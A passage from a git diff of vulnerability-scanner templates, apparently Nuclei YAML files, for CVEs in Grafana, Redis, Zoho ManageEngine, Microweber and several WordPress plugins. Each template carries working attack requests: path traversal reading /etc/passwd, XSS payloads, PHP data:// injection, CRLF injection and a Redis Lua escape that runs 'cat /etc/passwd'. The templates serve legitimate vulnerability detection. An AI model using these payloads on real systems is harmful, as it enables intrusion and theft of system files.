ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline. reference: - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p - https://nosec.org/home/detail/4914.html - https://github.com/jas502n/Grafana-VulnTips - - https://nvd.nist.gov/vuln/detail/CVE-2021-43798 - - http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html + tags: cve,cve2021,grafana,lfi classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-score: 7.50 cve-id: CVE-2021-43798 - cwe-id: CWE-22 - epss-score: 0.9724 - epss-percentile: 0.99802 - cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - metadata: - verified: "true" - max-request: 3 - vendor: grafana - product: grafana - shodan-query: title:"Grafana" - tags: packetstorm,cve,cve2021,grafana,lfi -http: +requests: - method: GET path: - - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd' - - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini' - - '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini' - - stop-at-first-match: true + - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - - type: word - part: header - words: - - "text/plain" - type: regex regex: - - 'root:.*:0:([0-9]+):' - - '\/tmp\/grafana\.sock' - - '\[(fonts|extensions|Mail|files)\]' - condition: or + - "root:.*:0:0" - type: status status: - - 200 -# digest: 4a0a0047304502206658644f5e107854cf02bdbae1ce75a6c00762f62f671f84aa65148f37a48dc4022100c299a04bb0aad97febb71fd43b897b82d4fce500d6823b2e1c686ff95be60e9d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 200 \ No newline at end of file diff --git a/poc/cve/CVE-2021-43810.yaml b/poc/cve/CVE-2021-43810.yaml index 2647c31740..d82aef0f9a 100644 --- a/poc/cve/CVE-2021-43810.yaml +++ b/poc/cve/CVE-2021-43810.yaml @@ -1,6 +1,7 @@ id: CVE-2021-43810 + info: - name: Admidio - Reflected Cross-Site Scripting + name: Admidio - Cross-Site Scripting author: gy741 severity: medium description: A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts. @@ -8,28 +9,41 @@ info: reference: - https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh - https://nvd.nist.gov/vuln/detail/CVE-2021-43810 + - https://github.com/Admidio/admidio/commit/fcb0609abc1d2f65bc1377866bd678e5d891404b + - https://github.com/Admidio/admidio/commit/c043267d362f7813543cc2785119bf3e3e54fe21 + - https://github.com/Admidio/admidio/releases/tag/v4.0.12 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-43810 cwe-id: CWE-79 + epss-score: 0.00513 + epss-percentile: 0.73985 + cpe: cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: admidio + product: admidio tags: cve,cve2021,admidio,xss -requests: + +http: - method: GET path: - '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)' + matchers-condition: and matchers: - type: word part: body words: - 'please click ' + - type: word part: header words: - "text/html" + - type: status status: - 200 - -# Enhanced by mp on 2022/02/28 +# digest: 4a0a00473045022100e270e358deef6794915f46250eaef4a24648053368609ca7aaa253997894794702201ec2926f2e5751776de5a26bf63c45409828fb5fb0acd4ab6875ed68807577f9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-44077.yaml b/poc/cve/CVE-2021-44077.yaml index 738964414c..14575e434c 100644 --- a/poc/cve/CVE-2021-44077.yaml +++ b/poc/cve/CVE-2021-44077.yaml @@ -1,9 +1,12 @@ id: CVE-2021-44077 + info: name: Zoho ManageEngine ServiceDesk Plus - Remote Code Execution author: Adam Crosser,gy741 severity: critical description: Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution. + remediation: | + Apply the latest security patch or upgrade to a patched version of Zoho ManageEngine ServiceDesk Plus. reference: - https://www.cisa.gov/uscert/ncas/alerts/aa21-336a - https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/ @@ -14,19 +17,28 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-44077 - cwe-id: CWE-287 - tags: cve,cve2021,zoho,manageengine,rce,kev -requests: + cwe-id: CWE-306 + epss-score: 0.97254 + epss-percentile: 0.99808 + cpe: cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11138:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zohocorp + product: manageengine_servicedesk_plus + tags: rce,kev,msf,cve,cve2021,zoho,manageengine + +http: - method: GET path: - "{{BaseURL}}/RestAPI/ImportTechnicians" + matchers-condition: and matchers: - type: word words: - '
' - 'pm_query' condition: and - - type: word part: header words: - text/html -# digest: 4b0a00483046022100e1595d1d5deaebbda60b688c18768a01a9f4447bbf6502c3b5262b1beebe6646022100b4e990710ef0c4fd5ca57bc3f0b1f8c61c55787c01bc2fea5356ca9a255928d1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0218.yaml b/poc/cve/CVE-2022-0218.yaml index 270e752e4c..bb173a3990 100644 --- a/poc/cve/CVE-2022-0218.yaml +++ b/poc/cve/CVE-2022-0218.yaml @@ -1,37 +1,23 @@ id: CVE-2022-0218 - info: - name: HTML Email Template Designer < 3.1 - Stored Cross-Site Scripting + name: HTML Email Template Designer < 3.1 - Stored Cross-Site Scripting (XSS) author: hexcat severity: medium - description: WordPress Email Template Designer WP HTML Mail allows stored cross-site scripting through an unprotected REST-API endpoint. - remediation: | - Update to version 3.1 or later of the HTML Email Template Designer plugin to fix the vulnerability. + description: WordPress Email Template Designer WP HTML Mail allows stored XSS through an unprotected REST-API endpoint (CVE-2022-0218). reference: - https://www.wordfence.com/blog/2022/01/unauthenticated-xss-vulnerability-patched-in-html-email-template-designer-plugin/ - https://wordpress.org/plugins/wp-html-mail/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0218 - - https://plugins.trac.wordpress.org/changeset/2656984/wp-html-mail/trunk/includes/class-template-designer.php + tags: wordpress,wp-plugin,xss,cve,cve2022 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2022-0218 cwe-id: CWE-79 - epss-score: 0.03872 - epss-percentile: 0.9098 - cpe: cpe:2.3:a:codemiq:wordpress_email_template_designer:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: codemiq - product: wordpress_email_template_designer - framework: wordpress - tags: wordpress,wp-plugin,xss,cve,cve2022 - -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?rest_route=/whm/v3/themesettings" - matchers-condition: and matchers: - type: word @@ -40,13 +26,10 @@ http: - '"background":' - '"footer":' condition: and - - type: word part: header words: - "application/json" - - type: status status: - 200 -# digest: 4a0a004730450220487160233d8dd6b67f0d7542a1da3adf1a6eaa91cf288906f75374385911e9f4022100857a1d770e7ca1878948e6611a8fb77016d3cc28d493c13b449f4f8deb2bc983:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0288.yaml b/poc/cve/CVE-2022-0288.yaml index 682ce9963e..7023ac1948 100644 --- a/poc/cve/CVE-2022-0288.yaml +++ b/poc/cve/CVE-2022-0288.yaml @@ -1,56 +1,38 @@ id: CVE-2022-0288 - info: - name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting + name: Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting author: DhiyaneshDK severity: medium - description: | - WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page. + description: The plugins do not sanitise and escape the html_element_selection parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. remediation: Fixed in version 2.7.12 reference: - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0288 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2022-0288 cwe-id: CWE-79 - epss-score: 0.00106 - epss-percentile: 0.4302 - cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: ad_inserter_pro_project - product: ad_inserter_pro - framework: wordpress - tags: wordpress,xss,wpscan,cve,cve2022 - -http: + tags: cve,cve2022,wordpress,xss +requests: - method: POST path: - "{{BaseURL}}" - - body: | - html_element_selection= - headers: Content-Type: "application/x-www-form-urlencoded" - + body: | + html_element_selection= matchers-condition: and matchers: + - type: status + status: + - 200 - type: word part: body words: - "" - "ad-inserter" condition: and - - type: word part: header words: - "text/html" - - - type: status - status: - - 200 -# digest: 4b0a00483046022100a4e40712b3f2a4af9c5a6abfd538b69cc7f0d3f1af2f2e6b90634473839268fc0221008c61a0e3c5603598462080b2bce163d64784161c68b679ae0e1683ef502921a4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0346.yaml b/poc/cve/CVE-2022-0346.yaml index 7bf759bde0..8d9929abcf 100644 --- a/poc/cve/CVE-2022-0346.yaml +++ b/poc/cve/CVE-2022-0346.yaml @@ -1,39 +1,50 @@ id: CVE-2022-0346 + info: - name: Google XML Sitemap Generator < 2.0.4 - Reflected Cross-Site Scripting & RCE - author: Akincibor - severity: high + name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution + author: Akincibor,theamanrawat + severity: medium description: | - The plugin does not validate a parameter which can be set to an arbitrary value, thus causing XSS via error message or RCE if allow_url_include is turned on. - classification: - cve-id: CVE-2022-0346 + WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on. + remediation: | + Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities. reference: - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6 - https://wordpress.org/plugins/www-xml-sitemap-generator-org/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0346 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0346 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-0346 + cwe-id: CWE-79 + epss-score: 0.00117 + epss-percentile: 0.4548 + cpe: cpe:2.3:a:xmlsitemapgenerator:xml_sitemap_generator:*:*:*:*:*:wordpress:*:* metadata: verified: true - tags: xss,wp,wordpress,wp-plugin,cve,cve2022 -requests: + max-request: 2 + vendor: xmlsitemapgenerator + product: xml_sitemap_generator + framework: wordpress + tags: wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org + +http: - method: GET path: - - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp' - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp' - req-condition: true - matchers-condition: and + - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,') || contains(body_2, 'Invalid Renderer type specified')" - condition: or - type: word - part: header + part: body_1 + words: + - "" + - "Invalid Provider type specified" + condition: and + + - type: word + part: body_2 words: - - text/html - extractors: - - type: regex - part: body - group: 1 - regex: - - '>PHP Version <\/td>([0-9.]+)' + - "2ef3baa95802a4b646f2fc29075efe34" +# digest: 4b0a00483046022100906d6c5969b0e590407c11de6a95537149181c2aea4f06409f1908aa6c45f7f5022100a0844adb37c0ae4c485470a12241270dd7792c6d861bfe4f8bcaaabbd7be77af:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0381.yaml b/poc/cve/CVE-2022-0381.yaml index cf73602d28..bfa091604f 100644 --- a/poc/cve/CVE-2022-0381.yaml +++ b/poc/cve/CVE-2022-0381.yaml @@ -1,32 +1,51 @@ id: CVE-2022-0381 + info: - name: WordPress Plugin Embed Swagger 1.0.0 - Reflected XSS + name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting author: edoardottt severity: medium - description: The Embed Swagger WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file which allows attackers to inject arbitrary web scripts onto the page, in versions up to and including 1.0.0. + description: | + WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page. + remediation: | + Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor. + reference: + - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3 + - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0381 + - https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0381 cwe-id: CWE-79 - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-0381 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0381 + epss-score: 0.00218 + epss-percentile: 0.59666 + cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: embed_swagger_project + product: embed_swagger + framework: wordpress tags: cve,cve2022,swagger,xss,wordpress -requests: + +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22" + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: header words: - "text/html" + - type: word part: body words: - "url: \"xss://\"-alert(document.domain)" + + - type: status + status: + - 200 +# digest: 4a0a00473045022036b6f8918181059116154260b4c6406cd32a4642bf6b811037cab145accee232022100c42a86029e96b73e1be21e5516d166057dce4b8a37b6359c97a98cc18fcd0e59:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0422.yaml b/poc/cve/CVE-2022-0422.yaml index b6ac73784c..3e2de9127d 100644 --- a/poc/cve/CVE-2022-0422.yaml +++ b/poc/cve/CVE-2022-0422.yaml @@ -1,33 +1,20 @@ id: CVE-2022-0422 - info: - name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting + name: WordPress White Label MS < 2.2.9 - Reflected Cross-Site Scripting author: random-robbie severity: medium - description: | - WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing. - remediation: | - Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability. + description: The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue back in the response, leading to reflected cross-site scripting. reference: - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422 - https://plugins.trac.wordpress.org/changeset/2672615 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0422 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0422 cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.41034 - cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: videousermanuals - product: white_label_cms - framework: wordpress - tags: cve,cve2022,wordpress,xss,wp-plugin,wpscan - -http: + tags: cve,cve2022,wordpress,xss,wp-plugin +requests: - raw: - | POST /wp-login.php?wlcms-action=preview HTTP/1.1 @@ -35,25 +22,20 @@ http: Content-Type: application/x-www-form-urlencoded wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B - matchers-condition: and matchers: - type: word part: body words: - "alert(/XSS/);" - - type: word part: body words: - "wlcms-login-wrapper" - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a0047304502200480a295103a52c26e0ff9683e514eea4508ae2b366b2b54929638f7bef9d1a9022100b1474851c68cf1b420983dc2a267205f03a403e326e9b85197136ce2ed8afb65:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0543.yaml b/poc/cve/CVE-2022-0543.yaml index 2f61707354..00d78f467c 100644 --- a/poc/cve/CVE-2022-0543.yaml +++ b/poc/cve/CVE-2022-0543.yaml @@ -1,43 +1,35 @@ id: CVE-2022-0543 - info: name: Redis Sandbox Escape - Remote Code Execution author: dwisiswant0 severity: critical description: | - This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The vulnerability was introduced by Debian and Ubuntu Redis packages that insufficiently sanitized the Lua environment. The maintainers failed to disable the package interface, allowing attackers to load arbitrary libraries. + This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The + vulnerability was introduced by Debian and Ubuntu Redis packages that + insufficiently sanitized the Lua environment. The maintainers failed to + disable the package interface, allowing attackers to load arbitrary libraries. reference: - https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce - https://attackerkb.com/topics/wyA1c1HIC8/cve-2022-0543/rapid7-analysis#rapid7-analysis - https://bugs.debian.org/1005787 - https://www.debian.org/security/2022/dsa-5081 - - https://lists.debian.org/debian-security-announce/2022/msg00048.html - remediation: Update to the most recent versions currently available. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2022-0543 - cpe: cpe:2.3:a:redis:redis:-:*:*:*:*:*:*:* - epss-score: 0.97184 metadata: - max-request: 2 - product: redis shodan-query: redis_version - vendor: redis tags: cve,cve2022,network,redis,unauth,rce,kev - -tcp: - - host: - - "{{Hostname}}" - - "tls://{{Hostname}}" - port: 6380 - - inputs: +network: + - inputs: - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n" + host: + - "{{Hostname}}" + - "{{Host}}:6379" read-size: 64 - matchers: - type: regex regex: - "root:.*:0:0:" -# digest: 4b0a004830460221009d349fed6b3bf4fd9604533cb5f57ffcec818eda7e49ac4e7be81dc1c5a2b0b3022100902ed033bee2919852cc2e890b5a5aa71600e31aabf41f1f1f957cf4286a4cd3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/CVE-2022-0595.yaml b/poc/cve/CVE-2022-0595.yaml index 82cc0822ac..c7eba1bbd5 100644 --- a/poc/cve/CVE-2022-0595.yaml +++ b/poc/cve/CVE-2022-0595.yaml @@ -1,13 +1,9 @@ id: CVE-2022-0595 - info: - name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting + name: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS author: akincibor severity: medium - description: | - WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action. - remediation: | - Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability. + description: The plugin allows SVG files to be uploaded by default via the dnd_codedropz_upload AJAX action, which could lead to Stored Cross-Site Scripting issue. reference: - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de - https://plugins.trac.wordpress.org/changeset/2686614 @@ -16,17 +12,8 @@ info: cvss-score: 5.4 cve-id: CVE-2022-0595 cwe-id: CWE-79 - epss-score: 0.00102 - epss-percentile: 0.41392 - cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: codedropz - product: drag_and_drop_multiple_file_upload_-_contact_form_7 - framework: wordpress - tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth - -http: + tags: cve,cve2022,xss,wordpress,wp-plugin +requests: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 @@ -54,11 +41,10 @@ http: - | GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1 Host: {{Hostname}} - + req-condition: true matchers: - type: dsl dsl: - 'contains(body_2, "alert(document.domain)")' - 'status_code_2 == 200' condition: and -# digest: 490a00463044022046f97ed828ba0fb94df102fc9022f2f28a92c6220913a5e4af0ad5bf5e0732d602203bd1f01be5f401ed3397e858689a9154bef14b35a42864d2c7df6c022d2311d6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0599.yaml b/poc/cve/CVE-2022-0599.yaml index 9c91f354e8..5483685da6 100644 --- a/poc/cve/CVE-2022-0599.yaml +++ b/poc/cve/CVE-2022-0599.yaml @@ -1,10 +1,13 @@ id: CVE-2022-0599 + info: - name: The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 - Reflected XSS + name: WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting author: scent2d severity: medium description: | - The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. + WordPress Mapping Multiple URLs Redirect Same Page plugin 5.8 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page. + remediation: | + Update to the latest version of the WordPress Mapping Multiple URLs Redirect Same Page plugin (version 5.8 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/4f1d45bc-d3bd-472c-959d-05abeff32765 - https://wordpress.org/plugins/mapping-multiple-urls-redirect-same-page/ @@ -14,8 +17,17 @@ info: cvss-score: 6.1 cve-id: CVE-2022-0599 cwe-id: CWE-79 - tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated -requests: + epss-score: 0.00106 + epss-percentile: 0.4302 + cpe: cpe:2.3:a:mapping_multiple_urls_redirect_same_page_project:mapping_multiple_urls_redirect_same_page:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: mapping_multiple_urls_redirect_same_page_project + product: mapping_multiple_urls_redirect_same_page + framework: wordpress + tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wpscan + +http: - raw: - | POST /wp-login.php HTTP/1.1 @@ -26,16 +38,17 @@ requests: - | GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id="> HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true - req-condition: true + matchers-condition: and matchers: - - type: word - part: body - words: - - 'id="mmursp_id" value="\">" />' - type: dsl dsl: - 'status_code_2 == 200' - - 'contains(all_headers_2, "text/html")' + - 'contains(header_2, "text/html")' condition: and + + - type: word + part: body + words: + - 'id="mmursp_id" value="\">" />' +# digest: 490a00463044022023cf3167ab8c79a8bd8a6ae4b1106225ec993b730d3359c06c2270b5f9842424022079d6288d5a9e4051a6a65119b847d1635a1456906a05e397bcc680d2478c7328:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0660.yaml b/poc/cve/CVE-2022-0660.yaml index d33e0e585d..04b0da86ab 100644 --- a/poc/cve/CVE-2022-0660.yaml +++ b/poc/cve/CVE-2022-0660.yaml @@ -1,35 +1,23 @@ id: CVE-2022-0660 - info: - name: Microweber <1.2.11 - Information Disclosure + name: Microweber < 1.2.11 - Information Disclosure author: amit-jd severity: high description: | - Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Upgrade Microweber to version 1.2.11 or later to mitigate the vulnerability. + Generation of error message containing sensitive information while viewing comments from "load_module:comments#search="in Packagist microweber/microweber prior to 1.2.11. reference: - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/ - https://github.com/advisories/GHSA-hhrj-wp42-32v3 - - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291 - https://nvd.nist.gov/vuln/detail/CVE-2022-0660 - - https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a + - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 - cve-id: CVE-2022-0660 cwe-id: CWE-209 - epss-score: 0.00719 - epss-percentile: 0.7841 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 2 - vendor: microweber - product: microweber - tags: cve2022,microweber,disclosure,authenticated,huntr,cve - -http: + verified: "true" + tags: cve,cve2022,microweber,disclosure,authenticated +requests: - raw: - | POST /api/user_login HTTP/1.1 @@ -44,14 +32,14 @@ http: Referer: {{BaseURL}}admin/view:comments class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}} - + req-condition: true + cookie-reuse: true matchers: - type: dsl dsl: - contains(body_2,'QueryException') - contains(body_2,'SQLSTATE') - contains(body_2,'runQueryCallback') - - 'contains(header_2,"text/html")' + - 'contains(all_headers_2,"text/html")' - 'status_code_2==500' condition: and -# digest: 4a0a0047304502207f224a6285882456e1ccffaf3bd0cc0b266014252800a8244bcaa280131f89c5022100b82336a91a3ff0ef186aa768ce3579059dc11c3e86f5fca5cf17b184d8c5e290:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0666.yaml b/poc/cve/CVE-2022-0666.yaml new file mode 100644 index 0000000000..251c13f693 --- /dev/null +++ b/poc/cve/CVE-2022-0666.yaml @@ -0,0 +1,37 @@ +id: CVE-2022-0666 + +info: + name: Microweber < 1.2.11 - CRLF Injection + author: ritikchaddha + severity: high + description: | + CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11. + reference: + - https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128 + - https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0666 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-0666 + cwe-id: CWE-93 + cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: microweber + product: microweber + shodan-query: http.favicon.hash:780351152 + tags: cve,cve2023,huntr,crlf,microweber + +http: + - method: GET + path: + - "{{BaseURL}}/api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1;" + + matchers: + - type: regex + part: header + regex: + - "^Set-Cookie: crlfinjection=1;" +# digest: 4b0a00483046022100dbd652bb2a658ea86b3c2000925f84a9d94f2590ae25dcf69528a640aad4d9db022100ca9fb2e31600744fe5f05e0df21043f5c3922f1b82c6ab3729780e0e2e4203b7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0692.yaml b/poc/cve/CVE-2022-0692.yaml index 6dc887cba8..50993e2032 100644 --- a/poc/cve/CVE-2022-0692.yaml +++ b/poc/cve/CVE-2022-0692.yaml @@ -1,26 +1,39 @@ id: CVE-2022-0692 + info: name: Rudloff alltube prior to 3.0.1 - Open Redirect author: 0x_Akoko severity: medium - description: "An open redirect vulnerability exists in Rudloff/alltube that could let an attacker construct a URL within the application that causes redirection to an arbitrary external domain via Packagist in versions prior to 3.0.1." + description: An open redirect vulnerability exists in Rudloff/alltube that could let an attacker construct a URL within the application that causes redirection to an arbitrary external domain via Packagist in versions prior to 3.0.1. + remediation: | + Upgrade to version 3.0.1 or later to fix the open redirect vulnerability. reference: - https://huntr.dev/bounties/4fb39400-e08b-47af-8c1f-5093c9a51203/ - - https://www.cvedetails.com/cve/CVE-2022-0692 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0692 + - 